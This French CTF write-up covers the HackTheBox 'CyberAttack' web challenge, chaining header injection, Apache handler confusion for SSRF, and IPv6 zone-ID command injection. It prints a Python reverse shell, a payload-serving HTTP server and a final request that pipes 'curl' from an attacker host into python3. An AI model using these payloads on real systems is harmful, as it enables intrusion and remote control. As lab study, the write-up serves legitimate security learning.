Apache 2.4.54 exploitation

Write-up du challenge CyberAttack du CTF Cyber Apocalypse (édition 2025)

Le

La semaine dernière j'ai eu l'occasion de participer au CTF Cyber Apocalypse de Hackthebox dans ma toute nouvelle équipe, j'ai nommé "Subscale". À cette occasion je vous ai rédigé 3 writeups sur les challenges que j'ai préférés. Mais trêve de blabla, rentrons dans le vif du sujet !

Le challenge

Pour ce premier writeup je vous propose un challenge WEB noté facile qui m'a un peu donné du fil à retordre. Au programme, exploitation de la version 2.4.54 d'apache, et de la librairie ipaddress de Python. Le but est de lire un fichier à la racine /flag<nombre aléatoire>.txt.

NB : Je remercie @slivtamere, avec qui j'ai travaillé sur ce challenge.

Le challenge propose une interface WEB pour "attaquer" un domaine ou une IP avec un "Ping of death", une attaque un peu archaïque aujourd'hui démodée. Pour lancer l'attaque, on rentre une IP ou un nom de domaine dans l'interface et on clique sur le bouton correspondant, comme on peut le voir sur la capture ci-dessous.

Interface web du challenge Eldoria Cyber Attack avec champs nom et cible et boutons Attack a Domain et Attack an IP

La page, codée en PHP, redirige ensuite l'utilisateur vers un des deux scripts Python attack-ip, attack-domain situé dans le répertoire /cgi-bin/ avec les deux arguments name et target passé dans l'URL. Exemple : /cgi-bin/attack-domain?target=google.com&name=hackeur_de_lespace. Je vous mets ci-dessus les codes des deux scripts :

  • attack-domain
#!/usr/bin/env python3

import cgi
import os
import re

def is_domain(target):
    return re.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.[a-zA-Z]{2,63}$', target)

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')
if not name or not target:
    print('Location: ../?error=Hey, you need to provide a name and a target!')
    
elif is_domain(target):
    count = 1 # Increase this for an actual attack
    os.popen(f'ping -c {count} {target}') 
    print(f'Location: ../?result=Succesfully attacked {target}!')
else:
    print(f'Location: ../?error=Hey {name}, watch it!')
    
print('Content-Type: text/html')
print()
  • Attack-ip
#!/usr/bin/env python3

import cgi
import os
from ipaddress import ip_address

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')

if not name or not target:
    print('Location: ../?error=Hey, you need to provide a name and a target!')
try:
    count = 1 # Increase this for an actual attack
    os.popen(f'ping -c {count} {ip_address(target)}') 
    print(f'Location: ../?result=Succesfully attacked {target}!')
except:
    print(f'Location: ../?error=Hey {name}, watch it!')
    
print('Content-Type: text/html')
print()

Le petit quack : on ne peut pas directement utiliser le script attack-ip à cause de la configuration Apache.

ServerName CyberAttack 

AddType application/x-httpd-php .php

<Location "/cgi-bin/attack-ip"> 
    Order deny,allow
    Deny from all
    Allow from 127.0.0.1
    Allow from ::1
</Location>

Cette dernière bloque les requêtes n'ayant pas comme source une loopback. Comme on est dans un challenge et que le but est de braver tous les interdits, on présume qu'il nous faut trouver un moyen pour contourner cette protection. Pour cela, il n'y a pas beaucoup de solutions, mises à part exploiter une vulnérabilité de type SSRF.

A la recherche d'une SSRF

Comme précisé au-dessus, il nous faut trouver une vulnérabilité de type SSRF. Mais une SSRF, keskeucé ?

Server-side request forgery is a web security vulnerability that allows an attacker to cause the server-side application to make requests to an unintended location.

Source: PortSwigger

Pour faire simple, l'objectif est de forcer le serveur à faire une requête afin de profiter de sa position dans le réseau. Un petit schéma piqué ici my.f5.com/manage/s/article/K36263043 pour illustrer :

Schéma SSRF : l'attaquant force l'application web à émettre une requête vers des ressources internes et exfiltre les données

Dans notre cas, on souhaite forcer le serveur à emettre une requête vers lui-même, afin de contourner la restriction IP imposé par la configuration d'Apache sur l'endpoint /cgi-bin/attack-ip.

Header reflection

C'est là que j'ai un peu trimé. La version d'Apache est relativement vieille, et surtout très vulnérable (d'après Google).

Recherche Google pour Apache 2.4.54 listant de nombreuses vulnérabilités et CVE pour cette version

Clairement, Google essaie de nous mettre en garde. Comme le challenge est en whitebox (on dispose du code de l'application), on peut aisément débugger en faisant tourner l'application en local. En jouant un peu avec le script attack-domain, on remarque des choses qui sortent de l'ordinaire.

  • La méthode HTTP importe peu

Je vous ai dit que la page PHP redirigeait vers les scripts python de /cgi-bin/ en passant ces arguments dans l'URL (HTTP GET). Mais on peut également les passer en POST, avec le content-type que l'on souhaite. Pas une vuln en soi, mais ça nous facilite un peu la tâche (notamment pour mieux visualiser nos tentatives injections en évitant d'avoir à URL encodé nos payloads).

  • Les entêtes HTTP sont réfléchis dans la réponse

En effet, le code de l'endpoint attack-domain contient :

print(f'Location: ../?error=Hey {name}, watch it!')

On peut se demander à juste titre ce qu'il se passerait si j'injectais des retours à la ligne dans le paramètre name. La réponse va vous glacer le sang (pas sure).

Burp Suite : injecter des retours à la ligne dans le paramètre name déclenche une erreur 500 d'Apache 2.4.54

Erreur 500, ça plante. Plus précisément, on remarque qu'Apache à rencontré une erreur lors du traitement de notre requête. En debuggant en local, on a plus d'informations sur la raison du crash.

Log Apache en local : erreur cgi malformed header from script attack-domain Bad header dd, confirmant l'injection d'en-tête

Debug d'Apache en local

Apache n'a pas compris comment interpréter le header dd. C'est normal, car un header est de la forme header_name:header_value. C'est très bon signe pour nous car cela veut dire qu'on peut potentiellement injecter des headers dans la réponse HTTP.

Burp Suite : les en-têtes injectés via le paramètre name sont réfléchis dans la réponse HTTP du serveur

Là ça marche. On a réussi à réfléchir les header passés en paramètre dans la réponse. Mais ce n'est toujours pas une SSRF. Le problème est que les headers sont simplement réfléchis dans la réponse HTTP, mais pas interprétés côté serveur.

En creusant un peu plus les recherches sur Internet, on fini par tomber sur l'article Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server! de Orange Tsai (que je vous invite à lire), qui nous explique qu'on peut réussir à mener à bien notre attaque SSRF (3. Handler Confusion > Primitive 3-2. Invoke Arbitrary Handlers).

D'abord, quelques notions élémentaires sur Apache2. Les handlers sur Apache2, keskeucé ?

Les handlers sur Apache2 sont des modules qui définissent la manière dont le serveur doit traiter certains types de fichiers ou requêtes. Ils permettent d'associer des types de contenu à des modules spécifiques pour l'exécution.
Exemples courants
mod_php → Gère l'exécution des scripts PHP.
mod_cgi → Exécute des scripts CGI.
mod_proxy → Gère le proxy des requêtes vers un autre serveur.

Par exemple, dans notre cas, c'est le handler mod_php qui gère le traitement de la requête pour notre page PHP. Il permet d'interpréter le code PHP qui s'y situe. Pour les scripts Python situé dans /cgi-bin/, c'est le handler mod_cgi qui s'en occupe. On peut voir les handlers activés dans /etc/apache2/mods-enabled.

Interpréter nos redirections côté serveur

Si je reprends l'article d'Orange TSAI,

Initially, mod_cgi executes[1] CGI and scans its output to set the corresponding headers such as Status and Content-Type. If[2] the returned Status is 200 and the Location header starts with a /, the response is treated as a Server-Side Redirection and should be processed[3] internally.

Article confusion-attacks de Orange TSAI

Il nous indique que lorsque un script cgi renvoie une requête disposant d'un header Location commençant par un /, il est traité comme une redirection interne (donc côté serveur) et est donc interprété ! En effet, si on reprend le code de attack-domain,

print(f'Location: ../?error=Hey {name}, watch it!')

Le header location commence par ../, c'est pour ça qu'il est interprété coté client, et est donc juste retransmis par le serveur. Un petit test rapide :

Burp Suite : un en-tête Location commençant par un slash déclenche une redirection interne traitée côté serveur, réponse 200

Le header Location commence par un /, donc pas de redirection côté client (302) ce coup-ci, le serveur s'en est chargé pour nous. Pas mal, c'est gentil de sa part.

Et la SSRF ?

Toujours pas de SSRF en vue pour l'instant, mais ça ne serait tarder. Intéressons-nous sur la manière dont Apache2 gère ses redirections internes.

Burp Suite : en forçant le Content-Type server-status, la page interne Apache Server Status normalement réservée au local s'affiche

Surprenant n'est ce pas ? Cette page qui affiche l'état en tant réel n'est normalement accessible qu'en local, via l'endpoint /server-status. En réalité ça s'explique facilement : on a fixé le content-type à server-status, ce qui indique à Apache2 d'utiliser le handler server-status lorsqu'il fait sa redirection interne.
Si on regarde la configuration de status.conf, c'est exactement ce qu'il fait en interne lorsque navigue sur l'endpoint /server-status.

// /etc/apache2/mods-enabled/status.conf
...
        <Location /server-status>
                SetHandler server-status <= ici
                Require local
                #Require ip 192.0.2.0/24
        </Location>
...

C'est ce qu'explique Orange TSAI dans son article. En quoi ça nous est utile ? On peut arbitrairement faire appel à n'importe quel handler, comme la handler proxy par exemple, qui permet de rediriger des requêtes.

Burp Suite : en invoquant le handler proxy vers une URL cible, la SSRF est obtenue, le serveur relaie la requête

Victoire. En précisent l'utilisation du handler proxy et en lui indiquant l'adresse de la ressource à contacter, j'arrive enfin à exploiter une vulnérabilité SSRF.

Execution de commande (RCE)

Maintenant il nous faut lire le fichier /flag<nombre aléatoire>.txt. Deux possibilités, obtenir une primitive permettant de lister les fichiers puis de les lire, ou tout simplement obtenir une RCE.

Une RCE (Remote Code Execution) est une vulnérabilité qui permet à un attaquant d’exécuter du code arbitraire à distance sur un système cible.

Je n'en ai pas parlé au début de mon article, mais vous avez surement remarqué que les deux scripts Python du cgi-bin exécutent une commande système.

  • attack-domain
def is_domain(target):
    return re.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.[a-zA-Z]{2,63}$', target)
...
elif is_domain(target):
    count = 1 # Increase this for an actual attack
    os.popen(f'ping -c {count} {target}') 

Ici pour pouvoir exécuter une commande arbitraire il nous faudrait une payload qui valide le REGEX "^(?!-)[a-zA-Z0-9-]{1,63}(?<!-).[a-zA-Z]{2,63}$", qui s'occupe de vérifier si l'argument fourni a bien la forme d'un nom de domaine. Seulement ce REGEX est sécurisé, l'option MULTILINE n'est pas passée à la méthode match du module re, donc pas d'exploitation possible à ce niveau-là.

  • Attack-ip

La vérification du paramètre est légèrement différentes dans ce script car elle ne se base pas sur un REGEX mais sur la librairie ipaddress de Python, avec une structure try et except en guise de vérification.

try:
    count = 1 # Increase this for an actual attack
    os.popen(f'ping -c {count} {ip_address(target)}') 
    print(f'Location: ../?result=Succesfully attacked {target}!')
except:
    print(f'Location: ../?error=Hey {name}, watch it!')

Les IPv4 sont limitées à un tout petit charset (les chiffres de 0 à 9 et les ., exemple: 192.168.1.1), mais les IPv6 ont un format un peu plus complexe (exemple : fe80::1%eth0). Intéressons-nous au caractère %.

Le % dans une adresse IPv6 est utilisé pour spécifier une zone d'interface (ou scope ID) lorsqu'on utilise des adresses link-local (fe80::/10).

En tâtonnent on s'aperçoit qu'on a un charset plutôt pas mal si l'on rentre une adresse IPv6 suivie d'un % : les caractères alphanumériques : . $ ( | et l'espace. Pas de /, mais c'est suffisant pour obtenir un shell.

Exploitation finale

Je commence par mettre en place un petit serveur HTTP qui renverra le contenue du fichier shell peu importe la requête qu'il reçoit.

import os
from http.server import SimpleHTTPRequestHandler, HTTPServer

class MyHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        # Spécifiez ici le chemin du fichier shell que vous souhaitez renvoyer
        shell_file_path = 'shell'

        if os.path.exists(shell_file_path):
            with open(shell_file_path, 'r') as file:
                content = file.read()

            # Renvoyer le contenu du fichier
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            self.wfile.write(content.encode())
        else:
            # Si le fichier n'existe pas
            self.send_response(404)
            self.end_headers()
            self.wfile.write(b"File not found")

def run(server_class=HTTPServer, handler_class=MyHandler, port=8080):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print(f'Starting server on port {port}...')
    httpd.serve_forever()

if __name__ == '__main__':
    run()

Je fais un petit reverse shell en python (on sait que python est installé sur la machine pour utiliser les scripts cgi).

import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ohohoh.hack",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")

Je me mets en écoute sur le port que j'ai choisis (nc -lvp 1234), et j'envoie ma payload finale :

POST /cgi-bin/attack-domain HTTP/1.1
Host: test
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 371

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="target"

value1
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="name"

Location: /ohohoh
Content-Type:proxy:http://localhost/cgi-bin/attack-ip?name=&target=2001:db8::%$(curl+ohohoh.hack:8080|python3)&dada=dd?&

------WebKitFormBoundary7MA4YWxkTrZu0gW

L'adresse IPv6 que j'envoie est 2001:db8::%$(curl+ohohoh.hack:8080|python3). Elle exécute la commande curl pour se connecter sur mon C2 et récupérer le code Python du reverse shell via mon mini serveur HTTP, puis exécute le code en l'envoyant en entrée à l’interpréteur Python via un pipe (|).

On peut maintenant lire le fichier flag à la racine 🥳.

Accès Restreint

Cet article n'est pas (encore) publique.
Pour obtenir un accès anticipé, contactez-moi.

[[ passwordError ]]

[[ post.title ]]

[[ post.description ]]

Le [[ post.date ]]

[[ tag ]]
[[ currentMatchIndex + 1 ]] / [[ searchMatches.length ]] 0 / 0

Sommaire

Page principale